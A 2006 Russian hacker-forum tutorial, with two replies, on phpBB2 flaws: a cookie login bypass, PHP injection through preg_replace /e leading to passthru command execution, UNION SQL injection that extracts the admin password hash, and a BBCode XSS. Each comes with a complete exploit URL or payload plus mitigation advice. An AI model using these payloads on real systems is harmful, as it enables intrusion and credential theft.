![]() |
XSS, SQL-inj, PHP-inj и др. на примере phpBB
В этой статье я хотел показать основные найденные дыры в phpbb2, но не со стороны скрипт-киддисов (дайте я туда сюда вставлю завалю козлов я да я да как? не понял сам му**к!), а изнутри - где ошибаются программистов и как от стадии "подставил ' - выматерилось" довести до "а вот он и хэш". Вообщем, жду конструктивной критики!
Использование оператора равно вместо оператора идентично Пояснение В php есть два оператора для сравнения выражений: "==" и "===". Разница между ними в том, что при несоответсвии типов выражений, первый оператор попытается привести выражения к одному типу, а второй - выдаст false. Таким образом код PHP код:
Где это Уязвимость работала до 12-й версии включительно Уязвимость содержалась в файле-библиотеке includes/sessions.php, отвечающей за работу с куками. Суть проблемы Функция session_begin в файле includes/sessions.php обрабатывает куки и в зависимости от того, что там лежит, либо логинит, либо - нет. Пару слов о куках. PhpBB использует две куки: "phpbb2mysql_sid" и "phpbb2mysql_data". Первая - это банальный идентификатор сессии, но который разработчики phpBB реализовали самостоятельно, без использования встроенного в php механизма сессий. Выглядит она примерно так: "66cb582584cadd70256a8e19f419501e". Вторая - более интересная. Выглядит она как-то так (после url-дешифровки): "a:2:{s:11:"autologinid";s:32:"81de428d6016cc0a8cc1 5e6b415b6bd9";s:6:"userid";s:1:"3";}". Те, кто делал на php что-либо более-менее серьёзное, сразу скажут, что это - сериализованный одномерный двухэлементный массив. Для остальных - поясню. В php есть очень удобный механизм "замораживания" объекта. Имя этому механизму - serialize. Функция serialize(mixed) возвращает строку, содержащую все данные об оьъекте. Функция unserialize(string) - обратная к serialize, по сгенерированной строке возвращает объект в его сохранённом виде. Но вернёмся к phpBB. Строка a:2:{s:11:"autologinid";s:32:"81de428d6016cc0a8cc1 5e6b415b6bd9";s:6:"userid";s:1:"3";} означает: -->массив от 2-х элементов ----->индекс первого элемента - строка из 11 символов: "autologinid" ------->ключ первого элемента - строка из 32 символов: "81de428d6016cc0a8cc15e6b415b6bd9" ----->индекс второго элемента - строка из 6 символов: "userid" ------->ключ второго элемента - строка из 1 символа: "3" Что такое userid, думаю, объяснять излишне. В autologinid храниться хэш пользователя. Впрочем, если юзер не попросил его запомнить, то эта строка будет пуста и в куках будет нечто такое: "a:2:{s:11:"autologinid";s:0:"";s:6:"userid";s:1:"2 ";}". Полученный массив присваивается переменной $sessiondata (строка 40). Далее, если есть autologinid и вообще "всё хорошо", то происходит сравнение хэша, переданного в куках с настоящим хэшом: PHP код:
PHP код:
Как не вляпаться Конечно, чтобы не сделать такую ошибку, надо каждый раз, когда пишете '==' отдавать себе отчёт о том, что вы делаете. Впрочем, поскольку это место тонкое и постоянно помнить про него сложно, то лучше вначале вручную свести переменные к нужным типам с помощью strval(), intval() итд. Плохая фильтрация переменной, передаваемой в preg_replace с модификатором "e" Пояснение Как известно, если вызвать функцию preg_replace ($pattern, $replacement, $subject) с модификатором "e", то replacement перед подстановкой компилируется. В этом месте было несколько ошибок Раскрытие пути Где это Уязвимость работала до 12-й версии включительно Уязвимость содержалась в файле viewtopic.php, отвечающем за вывод топиков на экран. Суть проблемы В phpBB, как и в любом нормальном форуме, есть работающий поиск. Более того, для удобства этого самого поиска найденные слова подсвечиваются с помощью preg_replace(), находящей искомые слова. Но хватит слов - подойдём ближе к телу, тьфу-ты, к коду! PHP код:
Эксплоит выглядит как-то так: hxxp://phpbb_2_0_12.phpbb/viewtopic.php?t=1&highlight=\7 Внедряем PHP(PHP-injection) Где это Уязвимость работала до 15-й версии включительно Уязвимость содержалась в файле viewtopic.php, отвечающем за вывод топиков на экран. Суть проблемы Всё-таки шанс - удивительный! Мы можем выполнить почти произвольный код! Теперь подробнее поговорим об этом почти, то есть о фильтрах. Для начала, обновлённый код: PHP код:
Давайте поговорим о дряни (©), которая, впрочем, не мешает выполнению скрипта. Код:
phpinfo();Код:
phpinfo\\();Код:
\\\\phpinfo\\\\\(\\\\)\\\\;Но, что самое удивительное, выполняется (ругаясь, конечно) следующий код: Код:
$xxx='var name test';Код:
echo $_GET[aaa];Этого нам достаточно. Как видим, "дрянь" не мешает выполнению кода, хотя и выводит неприличные надписи. Впрочем, разработчики phpBB услужливо для такого дела добавили "@"! Приступим! Фрагмент кода, в котором будет выпоняться наш код: '#\b(" . str_replace('\\', '\\\\', $highlight_match) . ")\b#i'. Нам надо выйти за пределы параметра, ограниченного одинарными апострафами ('), добавить оператор конкатенации для облюдения "приличий" языка, после чего добавить любый команду, выводящую что-либо на экран. Пробуем: GET: hxxp://phpbb_2_0_15.phpbb/viewtopic.php?t=1&highlight='.phpinfo().' После _всех_ фильтров в регулярное выражение подставится строка: "\\\\'\\.phpinfo\\(\\)\\.\\\\'" Как вы могли видеть из разговора о дряни, многочисленные слэши никак не помешают выполнению phpinfo(). А так как вывод ошибок для preg_replace запрещён, то и никаких ошибок не будет выведенно. Что делать далее - очевидно: подставить вместо phpinfo() - passthru(). (Лучше использовать именно passthru(), а не system() или exec(), так как она печатает _весь_ результат выполнения команды.) Так как пробелы в highlight передать не получится, то лучше сам набо команд передавать в другой переменной методом GET, и подставлять её в passthru(); Примерный эксплоит (команду задавать в com): hxxp://phpbb_2_0_15.phpbb/viewtopic.php?t=1&com=echo coommand_here&highlight='.passthru($_GET[com]).' Напоследок отмечу, что такая же уязвимость была найдена в версии 10! Разница была _только_ в том, что в 10-й версии переменная $HTTP_GET_VARS['highlight'] проходила через urldecode, и соотвественно взломщику приходилось всё, наоборот, кодироватьть в url (urlencode). В 11-й версии urldecode убрали, и сплоит перестал работать, но уязвимость-то осталась!!! Самое удивительное, что этого не замечали (а скорее, не говорили вслух) аж до версии 15! Как не вляпаться Во-первых, не недо использовать модификатор 'e'. Если же без него никак, то надо иметь _очень_ прямые руки, голову (лучше две) на плечах и много, много, много тестировать! Недостаточное усмирение register_globals On(SQL-injection) Пояснение При установленном флаге register_globals все переменные окружения доступны не только через суперглобальные массивы, но и напрямую. Это создаёт некоторые дополнительные проблемы для программиста. Например, следующий код: PHP код:
Где это Уязвимость работала до 5-й версии включительно Уязвимость содержалась в файле viewtopic.php, отвечающем за вывод топиков на экран. Суть проблемы Поскольку главная задача скрипта viewtopic.php - вывод топиков, то но должен получать и обрабатывать номер топика. Делает он это так: PHP код:
Далее идёт малозначащий код. После этого форум проверяет, задано ли view == 'newest'. Если да, то выводятся новые сообщения. Код (для лучшего восприятия кода я подставил значение констант по умолчанию): PHP код:
Несколько замечаний: 1)Чтобы вытянуть что-нибудь полезное из базы, будем использовать UNION. 2)Поскольку из базы используется ровно одна строка (из-за LIMIT 1), и возиться с концом запроса неохота, то topic_id будет иметь вид 1 AND 17=19 UNION SELECT что-то /* комментарием отбиваем конец исходного. Конечно, вместо 1 надо вставить существующий топик. 3)Посколько из базы достаётся только одно поле p.post_id (Номер последнего непрочитанного сообщения), то и у нас не получится вытащить более одного поля. Будет вытаскивать хэш админа, а если более точно, то "phpbb_users.user_password FROM phpbb_users WHERE phpbb_users.user_id=2" Объединяя всё сказанное получим: "1 AND 17=19 UNION SELECT phpbb_users.user_password FROM phpbb_users WHERE phpbb_users.user_id=2 /*". Так получаем эксплоит: hxxp://phpbb_2_0_5.phpbb/viewtopic.php?view=newest&p=&topic_id=1 AND 17=19 UNION SELECT phpbb_users.user_password FROM phpbb_users WHERE phpbb_users.user_id=2 /* Искомый хэш придёт вместе с заголовком Location: http://phpbb_2_0_5.phpbb/viewtopic.php?p=21232f297a57a5a743894a0e4a801fc3#2 1232f297a57a5a743894a0e4a801fc3. Полагаю, выделить отсюда хэш - несложно ;) Как не вляпаться Лично я обычно выключаю register_globals через .htaccess (для этого надо добавить строку: "php_flag register_globals off"), так как необходимость в них отсутствует, а написать $_GET['var'] вместо $var мне проще, чем заниматься геморром с отлавливанием попыток что-то подменить (какой же геморр? - посмотрите на досуге файл "common.php" в phpBB2). Продолжение в следующем посте © pch (pchopch on the gmail.com) [antichat.ru] 2006 |
Скорее всего - просто ляп(SQL-injection)
Пояснение Большинство функций в php не изменяют самих переменных переданных им. (Строго говоря, они просто не могут этого сделать, так как переменные по умолчанию передаются по значению, а не по ссылке...). Но многие прогаммисты по невнимательности или из-зи безграммотности пишут: PHP код:
Где это Уязвимость работала до 5-й версии включительно (в 6-й версии была оперативно закрыта) Уязвимость содержалась в файле searc.php, отвечающем за всевозможный поиск. Суть проблемы Уязвимая переменная - $search_id. В ней хранится либо режим поиска, либо идентификатор поискового запроса (для ускорния работы результаты поиска загоняются в массив, сериализуются и сохраняются в БД). Инетересный для нас случай - последний: PHP код:
PHP код:
Код:
a:7:{s:14:"search_results";s:1:"3";s:17:"total_match_count";i:1;s:12:"split_search";a:1:{i:0;s:7:"example";}s:7:"sort_by";i:0;s:8:"sort_dir";s:4:"DESC";s:12:"show_results";s:5:"posts";s:12:"return_chars";i:200;}PHP код:
1) Единственная переменная, на которую мы вляем - это $search_results. Нам необходимо закрыть скобку (оставив что-то внутри неё), и желательно сделать так, чтобы этот запрос не дал ничего. После этого UNION и комментарий в конце: "20) AND 2=1 UNION SELECT что-то ещё /*". 2) Последний запрос выдаёт 1+1+1+13+1+1+13+1+1+1+1=35 полей. Первое выдаваемое поле идёт в pt.post_text, то есть в текст сообщения - туда-то и положим хэш. В остальные поля положим "a": Код:
20) AND 2=1 UNION SELECT phpbb_users.user_password,"a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a" FROM phpbb_users WHERE phpbb_users.user_id=2 /*Код:
ArrayPHP код:
Код:
a:7:{s:14:"search_results";s:235:"20) AND 2=1 UNION SELECT phpbb_users.user_password,"a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a" FROM phpbb_users WHERE phpbb_users.user_id=2 /*";s:17:"total_match_count";i:1;s:12:"split_search";a:1:{i:0;s:7:"example";}s:7:"sort_by";i:0;s:8:"sort_dir";s:4:"DESC";s:12:"show_results";s:5:"posts";s:12:"return_chars";i:200;}Код:
11 AND 2=1 UNION SELECT 'a:7:{s:14:"search_results";s:235:"20) AND 2=1 UNION SELECT phpbb_users.user_password,"a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a","a" FROM phpbb_users WHERE phpbb_users.user_id=2 /*";s:17:"total_match_count";i:1;s:12:"split_search";a:1:{i:0;s:7:"example";}s:7:"sort_by";i:0;s:8:"sort_dir";s:4:"DESC";s:12:"show_results";s:5:"posts";s:12:"return_chars";i:200;}' /*5) Что - не работает? Конечно! В phpBB встроенно обязательное закавычивание всех переменных окружения. Это почти "магические кавычки", но реализовано вручную. Поэтому если мы просто пошлём получившуюся строчечку GET'ом, то нарвёмся на облом. Но выход есть! Как, наверное, многим известно, в MySQL есть замечательная функция char(a1,a2,...), возвращающая строку, состоящую из символов, ascii-коды которых - a1, a2 итд соответственно. Зашифруем с помощью неё все, что идёт после SELECT и до комментария. Поможет нам в этом деле маленький скриптик: PHP код:
Код:
11 AND 2=1 UNION SELECT CHAR (97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58,50,51,53,58,34,50,48,41,32,65,78,68,32,50,61,49,32,85,78,73,79,78,32,83,69,76,69,67,84,32,32,112,104,112,98,98,95,117,115,101,114,115,46,117,115,101,114,95,112,97,115,115,119,111,114,100,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,32,70,82,79,77,32,112,104,112,98,98,95,117,115,101,114,115,32,87,72,69,82,69,32,112,104,112,98,98,95,117,115,101,114,115,46,117,115,101,114,95,105,100,61,50,32,47,42,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,49,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,55,58,34,101,120,97,109,112,108,101,34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,53,58,34,112,111,115,116,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125) /*Код:
http://phpbb_2_0_5.phpbb/search.php?search_id=11 AND 2=1 UNION SELECT CHAR (97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58,50,51,53,58,34,50,48,41,32,65,78,68,32,50,61,49,32,85,78,73,79,78,32,83,69,76,69,67,84,32,32,112,104,112,98,98,95,117,115,101,114,115,46,117,115,101,114,95,112,97,115,115,119,111,114,100,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,44,34,97,34,32,70,82,79,77,32,112,104,112,98,98,95,117,115,101,114,115,32,87,72,69,82,69,32,112,104,112,98,98,95,117,115,101,114,115,46,117,115,101,114,95,105,100,61,50,32,47,42,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,49,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,55,58,34,101,120,97,109,112,108,101,34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,53,58,34,112,111,115,116,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125) /*Не делать ляпов!!! :) Плохая обработка BB-тэгов(Cross Site Scripting) Пояснение BB-тэги - они и в Африке BB-тэги, а CSS - оно иногда бывает XSS. :p Что ещё скать? Где это Последняя XSS из-за плохой обработки BB-тэгов была 18-й версии Уязвимость содержалась в файле-библиотеке includes/bbcode.php, отвечающей за обработку BB-тэгов. Суть проблемы Уязвимости такого класса искать легче всего, так как обработчик тэгов всегда сидит в одном файле и просмотрев его можно точно сказать, есть уязвимость или нет. Обработчик в phpBB сидит в файле includes/bbcode.php. В данном случае обработчик не только не запрещал, но и установливал '[' и ']' разрешёнными символами: Код:
$patterns[] = "#\[url\]([\w]+?://[\w\#$%&~/.\-;:=,?@\[\]+]*?)\[/url\]#is";Как не вляпаться Требования: 1) Обязательно ограничивать агрументы тэгов кавычками и фильтровать кавычки, открывающиеся и закрывающиеся угловые и квадратные скобки внутри них. 2) Требовать, чтобы все ссылки (в тэгах img и url) начинались с указания протокола. 3) Использовать <font color=""> вместо <span style="color:"> итд Это необходимые и достаточные требования для полной защиты от таких атак. Послесловие. Надеюсь вам понравилось! Планирую сделать продолжение - про IPB, если время будет и если кто-нибудь не сделает до меня. Хотя вряд ли найдётся маньяк, готовый по эксплоитам искать ошибку и занова строить сплоит :) . Баги ждут вас! Дерзайте! © pch (pchopch on the gmail.com) [antichat.ru] 2006 |
Прочитал с интересом. Сенкс за труд, несколько первых пришедших в голову пожеланий, если будешь писать про IPB.
Не бери в статью уязвимости совсем старых версий. Лучше написать об уязвимостях последних 3-4х. Иначе, можно сказать, что ты рассматриваешь совершенно другой движок. Ведь phpbb 2.0.6 и 2.0.20 это уже совершенно другой код. И теперь многое по другому. Например, хэш уже в куках не хранится, префиксы по умолчанию остаются только у самых начинающих юзеров. Об этом имхо не мешало бы напомнить в статье. Еще неплохо бы дополнить статью тем, как защитились от уязвимостей сами разработчики. Обязательно упомяни про это если будешь про IPB писать! Ты кстати сравнивал свои ответы с реализованными решениями? ) В общем из-за такого разброса во времени и версиях просто невозможно сделать хороший анализ. Или это должен быть мануал на 300 страниц. А вообще, молодец конечно. )) |
pch
напиши еще про ipb, vBulletin и e107 |
| Время: 15:25 |